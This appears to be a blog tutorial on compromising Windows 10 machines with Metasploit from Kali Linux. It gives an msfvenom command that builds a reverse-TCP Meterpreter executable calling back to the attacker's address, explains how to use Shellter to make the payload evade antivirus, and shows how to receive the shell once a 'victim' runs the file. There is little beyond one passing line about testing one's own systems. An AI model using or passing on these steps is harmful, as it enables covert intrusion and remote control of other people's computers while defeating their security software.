Metasploit is the best hacking tool used for penetration testing. With the help of Metasploit, we can perform different types of attacks on various systems like Website penetration testing, network penetration testing. Metasploit is also used to exploit vulnerabilities found in a system. You can also test your home or office systems or networks with Metasploit to make them more secure. There are a lot of modules available in Metasploit.
In this article, we are going to talk about How to Attack Windows 10 Machines with Metasploit on Kali Linux. First of all, we have to learn about Metasploit.
What is the payload?
The payload is the piece of code or an executable file that is holding our malicious code and we have to deliver that code into our victim machine so we can get access to the system.
- To attack a windows 10 machine with Metasploit you need a working internet connection.
- Virtual Machine (Kali Linux or Ubuntu)
Commands to obtain IP address from the Kali Linux Machine
You have to get the IP Address of our attacker machine to successfully perform this attack. Use the following commands.
- Note down the IP Address (EX: 192.168.1.90) and ether MAC
Here you have to use your mind you have to see when the adapter has a working internet connection. There will be two or one adapters attached to your Kali Linux machine. If you are using a wireless card then you will have Wlan0 and Eth0 adapters.
Create a Malicious payload with EXE extension
In order to create a payload executable file, we have to use the Metasploit tool named “msfvenom”. Open the terminal in Linux and type the following command.
msfvenom -p windows/meterpreter/reverse_tcp -a x86 –platform windows -f exe LHOST=IP LPORT=4444 -o /root/executable.exe
This command is used to create an executable payload file and remember where I typed the word “IP” here you have to place the IP Address of your Kali Linux machine. LPORT is for the port number on which our connection will be established. The format of the executable will be EXE because we have used the exe command in our msfvenom tool.
When our payload will be created then we have to deliver this payload to our victim machine. When he will open this file we will get a reverse TCP connection back to our Kali Linux machine.
Make the Executable FUD (Fully Undetectable)
Imagine that your victim is using some kind of anti-virus. When you will deliver the payload to the victim machine. The anti-virus will give an alert that something bad is happening. So, we have to make our executable payload undetectable by using automated tools.
To make it undetectable we will use the shelter.
What is Shelter?
Shellter is a tool available in Linux systems. With the help of shellter, we can inject code into a windows application 32bit. We have to use this tool to add some extra code to our executable so we can make it undetectable for anti-virus.
How Shellter Works
The working of shellter is very simple. It changes the signature of the code and makes new signatures for the executable. You can change the signature of your executable 3-5 times because every time you change the signature it will make a new signature every time. Note one thing for shellter that it only changes the signature of 32bit applications. You can get the more tutorials like this from my blog Information Security Blog.
Install Shellter on Kali Linux
If you want to install shellter on Kali Linux then follow the following commands to install it.
- sudo apt-get install shellter
- To launch it, type “shellter” in a terminal.
After you type shellter then you have to type the exact path where you have placed the executable file.
Shellter will ask you that you want to run in stealth mode then you have to type “Y” for yes.
In shellter, you have to type the same LPORT and LHOST that you type while creating our executable payload. We also have to select the payload there will be 1-7 payloads and you have to select one by typing the number of that payload.
After selecting the payload, LPORT, and LHOST shellter will continue to run and save the output to its folder.
Setup Metasploit for attack
Now we have to set up Metasploit to exploit the victim system, Open a terminal in Kali Linux, and type “msfconsole”. The Metasploit framework will open and you have to type the same, LPORT, LHOST, and the same payload that you selected while creating the undetectable payload with shellter.
Now you have to deliver the payload to the victim machine when the victim will open the executable then you will get the shell in Metasploit.